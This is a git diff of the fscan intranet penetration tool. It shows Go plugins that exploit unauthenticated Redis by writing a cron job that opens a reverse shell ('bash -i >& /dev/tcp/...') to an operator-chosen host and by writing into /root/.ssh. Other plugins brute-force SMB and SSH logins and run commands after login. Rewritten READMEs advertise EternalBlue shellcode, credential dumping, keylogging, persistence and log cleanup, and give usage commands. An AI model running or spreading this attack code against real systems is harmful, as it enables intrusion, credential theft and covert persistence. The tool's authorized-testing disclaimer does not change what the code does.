_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func readreply(conn net.Conn) (result string, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < 4096 {
break
}
}
return result, err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
-94
View File
@@ -1,94 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("scan start")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
if common.IsPing == false {
Hosts = ICMPRun(Hosts, common.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
return
}
AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
if info.Scantype == "portscan" {
return
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PortlistBack[info.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
wg.Wait()
common.WaitSave()
}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
go func() {
err, _ := ScanFunc(PluginList, scantype, &info)
if common.LogErr {
tmperr := err[0].Interface()
if tmperr != nil {
tmperr1 := err[0].Interface().(error)
errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
}
}
wg.Done()
<-ch
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ")
fmt.Println(err.Error())
return result, nil
}
in := make([]reflect.Value, len(infos))
for k, info := range infos {
in[k] = reflect.ValueOf(info)
}
result = f.Call(in)
return result, nil
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
-69
View File
@@ -1,69 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
func SmbScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if info.Domain != "" {
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
} else {
result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second):
return false, err
}
}
-62
View File
@@ -1,62 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
config := &ssh.ClientConfig{
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
defer session.Close()
flag = true
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
common.LogSuccess(result)
} else {
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
}
}
}
return flag, err
}
-117
View File
@@ -1,117 +0,0 @@
package Plugins
import (
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/common"
"io/ioutil"
"net"
"net/http"
"regexp"
"strings"
"time"
)
var CheckData []WebScan.CheckDatas
func WebTitle(info *common.HostInfo) error {
if info.Ports == "80" {
info.Url = fmt.Sprintf("http://%s", info.Host)
} else if info.Ports == "443" {
info.Url = fmt.Sprintf("https://%s", info.Host)
} else {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
}
err, result := geturl(info, true)
if err != nil {
return err
}
if result == "https" {
err, _ := geturl(info, true)
if err != nil {
return err
}
}
err, _ = geturl(info, false)
if err != nil {
return err
}
WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info)
}
return err
}
func geturl(info *common.HostInfo, flag bool) (err error, result string) {
Url := info.Url
if flag == false {
Url += "/favicon.ico"
}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: false,
DialContext: (&net.Dialer{
Timeout: time.Duration(info.WebTimeout) * time.Second,
KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
}).DialContext,
MaxIdleConns: 1000,
MaxIdleConnsPerHost: 1000,
IdleConnTimeout: time.Duration(info.WebTimeout+3) * time.Second,
TLSHandshakeTimeout: 5 * time.Second,
}
//u, err := url.Parse("http://127.0.0.1:8080")
//if err != nil {
// return err,result
//}
//tr.Proxy = http.ProxyURL(u)
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", Url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
if flag == true {
res.Header.Add("Cookie", "rememberMe=1")
}
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
var title string
body, _ := ioutil.ReadAll(resp.Body)
re := regexp.MustCompile("<title>(.*)</title>")
find := re.FindAllStringSubmatch(string(body), -1)
if len(find) > 0 {
title = find[0][1]
if len(title) > 100 {
title = title[:100]
}
} else {
title = "None"
}
if flag == true {
result = fmt.Sprintf("WebTitle:%-25v %-3v %v", Url, resp.StatusCode, title)
common.LogSuccess(result)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
if resp.StatusCode == 400 && info.Url[:5] != "https" {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
return err, "https"
}
return err, result
}
return err, ""
}
return err, ""
}
+255 -100
View File
@@ -1,127 +1,282 @@
# fscan
# Fscan
# 简介
一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
还在逐步增加功能,欢迎各位师傅提意见。
[English](README_EN.md)
内网综合扫描工具,一键自动化漏扫。
## why
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
**版本**: 2.1.2
答:
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
## 功能特性
## 最近更新
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
### 扫描能力
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
## usege
简单用法
```
go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
```
```
-h 192.168.1.1/24 (C段)
-h 192.168.1.1/16 (B段)
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-hf ip.txt (以文件导入)
### 爆破能力
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
- **SSH密钥登录** - 支持私钥认证方式
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
### 漏洞检测
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
- **DNSLog** - 支持DNSLog外带检测
### 漏洞利用
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
- **SSH命令执行** - 认证成功后自动执行命令
### 本地模块
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
- **杀软检测** - 识别目标主机安装的安全软件
- **痕迹清理** - 日志清理工具
### 输入输出
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
- **排除规则** - 支持排除特定主机、端口
- **输出格式** - TXT/JSON/CSV多格式输出
- **静默模式** - 无Banner、无进度条、无颜色输出
### 网络控制
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
- **发包控制** - 速率限制、最大发包数量控制
- **超时控制** - 端口超时、Web超时、全局超时独立配置
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
### 扩展功能
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
- **Lab靶场环境** - 内置Docker靶场用于测试学习
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
- **多语言支持** - 中英文界面切换(-lang zh/en)
- **性能统计** - JSON格式性能报告(-perf)
## v2.1.0 更新日志
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
### 架构重构
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
- **HostInfo重构** - Ports字段从string改为int,类型安全
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
- **代码审计** - 修复P0-P2级别问题,清理deadcode
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
### 性能优化
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
- **预分配容量** - 简化转换链、单次字符串替换
- **并发安全优化** - 优化锁粒度和内存分配
### 新功能
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
- **多格式POC适配** - 支持xray和afrog格式POC
- **智能扫描模式** - 布隆过滤器去重+代理优化
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
- **通用版本提取器** - 自动提取服务版本信息
- **指纹优先级排序** - 智能排序匹配结果
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
- **网卡指定功能** - 支持VPN场景(-iface参数)
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
- **端口扫描重试** - 失败自动重扫机制
- **RDP真实认证** - 集成grdp库实现系统指纹识别
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
- **默认端口扩展** - 从62个扩展到133个常用端口
- **全端口扫描支持** - 扩大端口范围限制
- **HTTP重定向控制** - 可配置的重定向次数限制
- **性能分析支持** - 添加pprof性能分析和benchmark测试
- **TCP包统计** - 服务插件支持TCP包发送统计
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
### Bug修复(120项,列出关键修复)
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
- **JSON输出格式** - 修复输出格式错误(#446)
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
- **结果实时保存** - 修复扫描结果未及时保存(#469)
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
- **MySQL连接验证** - 改用information_schema库验证
- **代理端口误判** - 修复代理模式下端口状态判断错误
- **Context超时** - 修复22处插件超时未响应问题
- **ICMP竞态条件** - 修复并发扫描竞争问题
- **IPv6地址格式** - 修复4处地址格式化问题
- **POC高并发卡死** - 修复Context未传播问题
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
- **SOCKS5全回显** - 添加代理连接验证
- **服务探测泄漏** - 修复连接未正确关闭问题
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
- **JSON指纹缺失** - 统一SERVICE结果Target格式
- **扫描耗时显示** - 修复完成耗时显示为0的问题
- **虚假漏洞记录** - 重构TXT输出系统消除误报
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
- **Windows编译警告** - 修复fscan-lite平台兼容性
- **Go 1.20兼容** - 降级依赖保持兼容性
### 测试增强(20项)
- **单元测试** - 核心模块覆盖率74-100%
- **并发安全测试** - State对象、指纹匹配引擎专项测试
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
- **CLI参数测试** - 命令行参数解析验证
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
- **ResultBuffer测试** - 去重和完整度评分验证
### 工程化改进
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
- **README重写** - 中英文文档全面更新
- **代码格式统一** - gofmt/goimports规范化
## 快速开始
```bash
# 扫描C段
./fscan -h 192.168.1.1/24
# 指定端口
./fscan -h 192.168.1.1 -p 22,80,443,3389
# 仅存活探测
./fscan -h 192.168.1.1/24 -ao
# 禁用爆破
./fscan -h 192.168.1.1/24 -nobr
# Web扫描
./fscan -u http://192.168.1.1
# 本地插件
./fscan -local systeminfo
# Hash碰撞
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis写公钥
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
```
## 编译
完整参数
```bash
# 标准编译
go build -ldflags="-s -w" -trimpath -o fscan main.go
# 带Web管理界面
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
```
-Num int
poc rate (default 20)
-c string
exec command (ssh)
-domain string
smb domain
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hs ip.txt
-it int
Icmp Threads nums (default 11000)
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nopoc
not to scan web vul
-np
not to ping
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
-ping
using ping replace icmp
-pocname string
use the pocs these contain pocname, -pocname weblogic
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
Thread nums (default 200)
-time int
Set timeout (default 3)
-user string
username
-userf string
username file
-wt int
Set web timeout (default 3)
## 安装
```bash
# Arch Linux
yay -S fscan-git
```
## 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
![](image/2020-12-12-13-34-44.png)
## 未来计划
[*] 合理输出当前扫描进度
[*] 增加内网常见高危漏洞
[*] 增加高危web漏洞扫描
[*] 师傅们觉得有必要加的漏洞,也可以提issue
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
![](image/netbios1.png)
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
## 路线图
### 更新计划
- **更新周期** - 每月一次版本发布
- **前两周** - 新功能开发与特性更新
- **后两周** - Bug修复与代码整合
- **欢迎PR** - 期待您的贡献!
### 插件生态
- 持续扩展服务插件覆盖范围
- 为每个服务插件开发更多漏洞检测和利用能力
- 保持插件API向后兼容,确保旧版本POC持续可用
### Fscan-lite
- C语言重写的轻量版本
- 更小的体积,更少的依赖
- 支持更多嵌入式/受限环境
- 目录: [fscan-lite](./fscan-lite)
### Fscan-lab
- 内网渗透测试靶场环境
- 覆盖所有fscan支持的漏洞场景
- 开发测试与功能验证平台
- 新手学习与技能练习环境
- 目录: [fscan-lab](./fscan-lab)
## 免责声明
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
## 404StarLink
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
## Star趋势
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 捐赠
[请作者喝饮料](image/sponsor.png)
## 参考
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
+282
View File
@@ -0,0 +1,282 @@
# Fscan
[中文](README.md)
Comprehensive intranet scanning tool for automated vulnerability assessment.
**Version**: 2.1.2
## Features
### Scanning
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
### Brute Force
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
- **SSH Key Login** - Private key authentication
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
### Vulnerability Detection
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
- **POC Scanning** - Integrated web POC, Xray POC format support
- **DNSLog** - DNSLog out-of-band detection
### Exploitation
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
- **SSH Command Exec** - Auto command execution after authentication
### Local Modules
- **Info Gathering** - System info, environment variables, DC info, NIC config
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
- **AV Detection** - Identify installed security software
- **Trace Cleanup** - Log cleaning tool
### Input/Output
- **Target Input** - IP/CIDR/domain/URL, batch file import
- **Exclusion Rules** - Exclude specific hosts, ports
- **Output Formats** - TXT/JSON/CSV multi-format output
- **Silent Mode** - No banner, no progress bar, no color output
### Network Control
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
- **Rate Control** - Rate limiting, max packet count control
- **Timeout Control** - Port/Web/Global timeout independent config
- **Concurrency** - Port scan threads, service scan threads independent config
### Extensions
- **Web Management UI** - Visual scan task management (build with -tags web)
- **Lab Environment** - Built-in Docker lab for testing and learning
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
- **Multi-language** - Chinese/English interface (-lang zh/en)
- **Performance Stats** - JSON format performance report (-perf)
## v2.1.0 Changelog
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
### Architecture Refactoring
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
### Performance Optimization
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
### New Features
- **Web Management UI** - Visual scan task management with responsive layout and progress display
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
- **Universal Version Extractor** - Auto-extract service version information
- **Fingerprint Priority Sorting** - Smart sorting of match results
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
- **Port Scan Retry** - Automatic retry mechanism for failed scans
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
- **SMB/FTP File Listing** - Auto-list files on anonymous access
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
- **TXT Output URL Summary** - Append web service URL list for batch testing
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
- **Default Port Expansion** - Extended from 62 to 133 common ports
- **Full Port Scan Support** - Expanded port range limits
- **HTTP Redirect Control** - Configurable redirect count limit
